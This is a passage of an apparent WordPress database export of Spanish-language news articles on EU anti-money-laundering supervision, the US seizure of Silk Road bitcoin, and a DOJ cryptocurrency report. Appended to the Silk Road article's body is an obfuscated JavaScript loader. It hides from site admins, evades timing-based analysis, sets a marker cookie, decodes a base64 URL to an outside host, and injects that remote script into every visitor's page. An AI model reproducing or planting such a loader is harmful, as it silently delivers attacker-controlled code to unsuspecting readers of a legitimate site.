authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, 